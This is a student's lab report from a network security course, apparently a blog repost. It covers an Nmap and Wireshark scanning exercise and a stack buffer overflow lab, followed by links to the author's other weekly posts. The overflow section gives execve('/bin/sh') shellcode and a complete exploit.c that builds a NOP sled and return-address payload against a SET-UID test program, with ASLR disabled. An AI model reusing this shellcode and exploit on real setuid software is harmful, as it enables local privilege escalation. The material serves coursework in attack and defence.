2017-2018-220179317卿爽《网络攻防技术》第十周学习总结

sunshineisdelicious      2022-02-09     132

关键词:

##实验一:Nmap+Wireshark 攻击方与防守方均使用Kali虚拟机,本人IP:192.168.2.160,结对方:192.168.2.239,攻击方通过Nmap工具探测防守方,防守方用tcpdump工具与Wireshark工具通过抓包分析对方攻击目的和Nmap命令。

使用nmap进行探测: 技术分享图片 使用tcpdump抓包: 技术分享图片 针对抓到的数据包利用Wireshark进行分析: 技术分享图片 此图显示抓取到了大量tcp包,说明攻击方正在进行tcp端口扫描。

##实验二:缓冲区溢出漏洞 ###一、实验简介 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

###二、环境配置 需要在32位环境下作操作,因此实验之前需要做一些准备。

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev    

技术分享图片

###实验步骤: 1.关闭使用地址空间随机化来随机堆和栈的初始地址的功能 技术分享图片

2.由于许多shell程序在被调用时会自动放弃他们的特权,因而需要使用另一个shell(zsh)来代替/bin/bash:

sudo su

cd /bin

rm sh

ln -s zsh sh

exit

技术分享图片

3.一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}

本次实验的shellcode,就是刚才代码的汇编版本:

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

4.以下代码保存为“stack.c”文件,保存到 /tmp 目录下。 技术分享图片

5.编译该程序,并设置SET-UID。命令如下: 技术分享图片 GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。而 -z execstack 用于允许执行栈。

6.把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

“\x??\x??\x??\x??”处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。

7.得到shellcode在内存中的地址,输入命令:

gdb stack

disass main

8.在0x080484f8处设定断点,并运行:

根据语句 strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffffd020 + 100 = 0xffffd084

9.现在修改exploit.c文件!将 \x??\x??\x??\x?? 修改为 \x84\xd0\xff\xff.然后,编译运行exploit.c程序

10.先运行攻击程序exploit,再运行漏洞程序stack

##实验问题 缓冲区溢出漏洞实验中,由于电脑卡住,未能进行后期的攻击环节。

##实验体会 通过这次学习,我对缓冲区溢出漏洞有了一定的理解,虽然没有完成整个的实验步骤,通过反复查看资料同样使我受益匪浅。

2017-2018-220179317《网络攻防技术》第四周作业(代码片段)

网络嗅探技术定义:(1)利用计算机网络接口截获目的地为其他计算机的数据报文(2)监听网络流中所包含的用户账户密码或私密信息等。网络嗅探器(Sniffer):(1)实现嗅探的软件或硬件设备。(2)嗅探获得数据→二进制格... 查看详情

2017-2018-220179317《网络攻防技术》第四周学习心得体会

1.nmap扫描靶机,靶机为metasploitable-ubuntu,IP地址为222.28.133.180(桥接模式)2.wireshark抓包应用,靶机为metasploitable-ubuntu,IP地址为192.168.217.130(NAT模式)靶机在ping百度时wireshark抓包情况如下:注:使用的wireshark版本是winxpattacker下的,... 查看详情

2017-2018-220179317《网络攻防技术》第五周作业

一、视频学习总结16.KaliSecurity-漏洞分析之数据库评估(一)了解KaliLinux下漏洞分析工具中数据库评估工具的使用1.BBQSqlBBQSQL是一个Python编写的盲注工具,当检测可疑的注入漏洞时会很有用,同时它也是一个半自动工具,允许用户... 查看详情

2017-2018-220179317《网络攻防技术》第八周作业(代码片段)

第一部分:网络攻防环境搭建利用虚拟机镜像和VmwareWordstion软件,部署了一套个人的网络攻防实验环境,并进行了连通性测试。如图攻击机IP地址靶机IP地址配置honeywall攻击机ping靶机图示靶机ping攻击机攻击机ping靶机时网关的监... 查看详情

2017-2018-220179317《网络攻防技术》第八周学习心得体会

教材一、Linux操作系统基本矿建概述1、Linux操作系统发展与现状跨平台的硬件支持;丰富的软件支持;多用户多任务;可靠的安全性;良好的稳定性;完善的网络功能2、Linux系统结构1)Linux进程与线程管理机制2)Linux内存管理机... 查看详情

2017-2018-220179317《网络攻防技术》第七周学习心得体会(代码片段)

教材学习内容总结课本第七章主要围绕windows操作系统安全攻防技术进行讲述,教材中主要涉及的攻击内容如下:Windows操作系统的基本结构运行于处理器特权模式的操作系统内核运行在处理器非特权模式的用户空间代码采用宏内... 查看详情

2017-2018-220179317《网络攻防技术》第五周学习心得体会

第11章:Web应用程序安全攻防11.1Web应用程序体系结构及其安全威胁11.1.1Web应用体系结构Web应用程序是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常以浏览器支持的语言所编写,或能够在浏览器控制... 查看详情

适合网络攻城狮学习的python——基本语法(字典)

...)keys()values()items()pop()get()3️⃣小结再不努力,和尚都来抢网络攻城狮饭碗了!1️⃣字典概念与元素概念Python中,字典是有序(3.7前无序,3.7后有序)的键值对集合, 查看详情

适合网络攻城狮学习的python——基础语法(列表)

列表1️⃣列表概念与元素2️⃣列表方法与函数range()index()append()insert()pop()len()count()3️⃣小结AC控制器,5个香蕉AP。1️⃣列表概念与元素有序的集合,用中括号[]括起来,从[]空列表开始,你想装啥就装啥。 查看详情

适合网络攻城狮学习的python——基本语法(整数浮点数)

整数、浮点数1️⃣数值类型2️⃣数值运算3️⃣运算符与字符串互动4️⃣小结天冷了,这路由器可以当火炉烤火了!1️⃣数值类型5种类型(布尔型、整型、长整型、浮点型、复数),对于咱们网工来说,重点掌握前面3种。【整... 查看详情

目标侦察简单了解

侦察的原则在针对网络或者目标服务器进行渗~透测试或攻~击时,侦察是第一步,攻~击者通常会花费75%的时间来进行侦查,在侦察阶段,可以定义攻~击目标,确定攻~击目标的映射关系,探寻其安全漏洞,并最终达到利用的目的... 查看详情

企业反apt构想

网络安全的本质是对抗,知己知彼,方能百战不怠!APT的攻~击流程:目标侦查->外网渗~透->内网渗~透->搜寻目标->信息外传->继续潜伏&后门对抗企业在APT的防御问题上,不应盲目的跟随,应先做好基础工作,并评估... 查看详情

埃森哲:2019年网络犯罪成本研究报告(分析)

2019年3月,埃森哲联合Ponemon发布了第九次网络犯罪成本调研报告(NinthAnnualCostofCybercrimeStudy)。这份报告针对来自11个国家(都是发达经济体,不含中国)的16个行业的355家公司的2647名高阶主管进行了调研,结果显示,随着被攻|... 查看详情

浅谈渗~透系统,简单安装kalilinux

...~透测试是通过模拟恶意黑~客的攻~击方法,来评估计算机网络系统安全的一种方法,这个过程包括对系统的任何弱点,技术缺陷,漏洞的主动分析,这个分析是从一个攻~击者的角度来进行的。*渗~透的作用评估网络或者系统的一... 查看详情

传奇怎么设置沙巴克自动攻城

传奇怎么设置传奇服务端沙巴克自动攻城 天天设置沙巴克很麻烦.下面的我来教你设置传奇服务端的沙巴克来实现到时间自动攻城1.找到传奇服务端中的机器人计时脚本(AutoRunRobot),路径为D:MirServerMir200EnvirRobot_defAutoRunRobot.2.打... 查看详情

机器学习算法原理专栏目录

理论基础数据科学_公众号:算法攻城狮-CSDN博客机器学习到底是什么,如何使用这项技术?_公众号:算法攻城狮-CSDN博客机器学习中的距离计算方法_公众号:算法攻城狮-CSDN博客机器学习理论基础|最大似然函... 查看详情

css的伪类/元素选择器,我也想你知道!!!

说明:文章部分内容及图片出自网络,如有侵权请与我本人联系(主页有公众号:小攻城狮学前端)作者:小只前端攻城狮、掘金:小只前端攻城狮的主页、GitHub:P-J27、CSDN:PJ想做前端攻城狮著作权归作者所有。... 查看详情

大前端攻城狮之路面试集锦

JS相关1.变量提升ES6之前我们一般使用var来声明变量,提升简单来说就是把我们所写的类似于vara=123;这样的代码,声明提升到它所在作用域的顶端去执行,到我们代码所在的位置来赋值。functiontest(){console.log(a);//undefineda=123;}test();... 查看详情